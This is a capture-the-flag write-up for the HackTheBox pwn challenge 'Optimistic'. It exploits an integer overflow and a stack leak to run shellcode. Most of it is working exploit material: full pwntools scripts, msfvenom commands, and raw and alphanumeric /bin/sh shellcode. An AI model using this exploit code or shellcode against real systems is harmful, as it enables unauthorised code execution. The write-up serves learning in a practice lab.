Optimistic
Optimistic
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Are you ready to feel positive?
Solution Approach
Core idea: Exploiting Integer Overflow. Utilizing Integer Overflow to leak stack address.
Steps
-
First, unzip the
.zipfile given, then check the type of file we got. -
Now check the binary's protection.
-
Let's run the binary then.
-
Hmm.. Let's decompile the binary and analyze the
main()function. -
Seems like we need to find the offset of our stack pointer. Not only that now we know why the binary skipped the age prompt, it's because the email variable only accepts 8 characters.
-
The vuln here,
local_84is an unsigned int, then converted to int and compared to another value. This could lead to Interger Overflow.
QUICK INFO
- So let's run the binary in gbd.
At this point, we know the unsigned int is ranged from 0 - 4,294,967,295, let's input
1as the length.
-
Hmm.. Confused why it's terminated, because it must only validating if the length is above 64.
-
Let's run the binary without gdb then.
-
Got segmentation fault!
-
Hmm.. let's try to get the EIP/RIP offset with pwntools then.
THE SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) exe = './optimistic' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' def getOffset(pattern): sh = process(exe) sh.sendlineafter(':', 'y') sh.sendlineafter(':', 'aa') sh.sendlineafter(':', 'aa') sh.sendlineafter(':', '-1') sh.sendlineafter(':', pattern) sh.wait() offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4)) info('EIP/RIP offset : {i}'.format(i=offset)) return offset pattern = cyclic(1024) offset = getOffset(pattern) # got 104
OUTPUT - 104
- Now we need to get the location of EBP (leak the stack address).
py read-only • copy allowed### LEAK THE STACK ADDRESS stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlines()).group(0), 16) info("Stack Address Leaked: %#x", stackAddr) ### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes stackAddr = stackAddr - 96
- Now set the shellcode.
py read-only • copy allowed### create the shellcode shellcode = asm(shellcraft.sh()) ### payload p = flat( [ shellcode, cyclic(offset - len(shellcode)), # as the padding bytes stackAddr ] )
THE SCRIPT SO FAR
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) exe = './optimistic' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' def getOffset(pattern): sh = process(exe) sh.sendlineafter(':', 'y') sh.sendlineafter(':', 'aa') sh.sendlineafter(':', 'aa') sh.sendlineafter(':', '-1') sh.sendlineafter(':', pattern) sh.wait() offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4)) info('EIP/RIP offset : {i}'.format(i=offset)) return offset pattern = cyclic(1024) offset = getOffset(pattern) # got 104 sh = start() sh.sendlineafter(':', 'y') ### LEAK THE STACK ADDRESS stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16) info("Stack Address Leaked: %#x", stackAddr) ### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes stackAddr -= 96 ### create the shellcode shellcode = asm(shellcraft.sh()) ### payload p = flat( [ shellcode, cyclic(offset - len(shellcode)), # as the padding bytes to RIP stackAddr # RBP - 96 (our shellcode) ] ) sh.sendlineafter(':','aa') sh.sendlineafter(':','aa') sh.sendlineafter(':','-1') sh.sendlineafter(':',p) sh.interactive()
OUTPUT
-
We got the shell here, but the problem is notice the shellcraft we sent are not alphanumeric.
-
Let's try to
ls. -
Yep, it's must in alphanumeric. Remember we have this checker.
-
So i did a small outsource on the internet, found out that we can do 3 methods.
The 1st & 2nd method is using msfvenom
The 3rd method simply search "linux alphanumeric shellcode" -> exploitdb | https://www.exploit-db.com/exploits/35205
1ST METHOD
COMMAND:
msfvenom -f python -p linux/x64/exec -a x86_64 --platform linux CMD=/bin/sh -e x86/alpha_mixed
COPY THE SHELL TO PYTHON
shellcode = b""
shellcode += b"\x89\xe2\xdb\xc2\xd9\x72\xf4\x58\x50\x59\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
shellcode += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x32\x4a\x47\x4b\x76"
shellcode += b"\x38\x6d\x49\x37\x38\x4d\x6b\x34\x6f\x30\x62\x33\x59"
shellcode += b"\x50\x6e\x34\x6f\x44\x33\x62\x48\x65\x50\x51\x43\x61"
shellcode += b"\x58\x6b\x39\x78\x67\x72\x48\x76\x4d\x75\x33\x73\x30"
shellcode += b"\x37\x70\x50\x48\x6c\x49\x6d\x36\x52\x72\x58\x68\x73"
shellcode += b"\x38\x63\x30\x37\x70\x67\x70\x74\x6f\x33\x52\x52\x49"
shellcode += b"\x50\x6e\x66\x4f\x70\x73\x53\x58\x45\x50\x66\x36\x56"
shellcode += b"\x37\x70\x48\x4e\x69\x68\x66\x56\x6f\x43\x35\x41\x41"
2ND METHOD
COMMAND:
msfvenom -f python -p linux/x64/exec --platform linux CMD=/bin/sh
COPY THE SHELL TO PYTHON:
shellcode = b""
shellcode += b"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shellcode += b"\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61"
shellcode += b"\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"
shellcode = alphanumeric(shellcode)
EXPLOIT DB
XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V
-
For this solution i preferred to use the third method, because the 1st & 2nd i failed and found out need to change to python 2 environment.
-
Anyway i will show you step by step to get the payload.
-
Let's run this command first ->
msfvenom -l payloads | grep linuxto see all payloads for linux. -
Let's use this one:
-
Since we want to convert the payload in python file, run this command ->
msfvenom -p linux/x64/exec -f python --platform linux CMD=/bin/sh. -
Copy that to our script.
-
Now let's go back and use the third method.
FINAL SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) exe = './optimistic' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'debug' def getOffset(pattern): sh = process(exe) sh.sendlineafter(':', 'y') sh.sendlineafter(':', 'aa') sh.sendlineafter(':', 'aa') sh.sendlineafter(':', '-1') sh.sendlineafter(':', pattern) sh.wait() offset = cyclic_find(sh.corefile.read(sh.corefile.sp,4)) info('EIP/RIP offset : {i}'.format(i=offset)) return offset pattern = cyclic(1024) offset = getOffset(pattern) # got 104 sh = start() sh.sendlineafter(':', 'y') ### LEAK THE STACK ADDRESS stackAddr = int(re.search(r"(0x[\w\d]+)", sh.recvlineS()).group(0), 16) info("Stack Address Leaked: %#x", stackAddr) ### remove 96 bytes to point at RSP instead of RBP | remove 96 bytes because `local_68` buffer is 96 bytes stackAddr -= 96 ### create the shellcode - NEED PYTHON 2 ENV ##shellcode = b"" ##shellcode += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54" ##shellcode += b"\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08\x00\x00" ##shellcode += b"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x54\x5e" ##shellcode += b"\x6a\x3b\x58\x0f\x05" ##shellcode = alphanumeric(shellcode) shellcode = "XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V" ### payload p = flat( [ shellcode, cyclic(offset - len(shellcode)), # as the padding bytes to RIP stackAddr # RBP - 96 (our shellcode) ] ) sh.sendlineafter(':','aa') sh.sendlineafter(':','aa') sh.sendlineafter(':','-1') sh.sendlineafter(':',p) sh.interactive()
OUTPUT
-
Great, let's test it remotely.
-
Got the flag!
Flag
REDACTED
Lessons Learned
- Exploiting Integer Overflow.
- Utilizing Integer Overflow to leak stack address.
- Writing shellcode to the leaked stack address and manipulate the RIP address to it.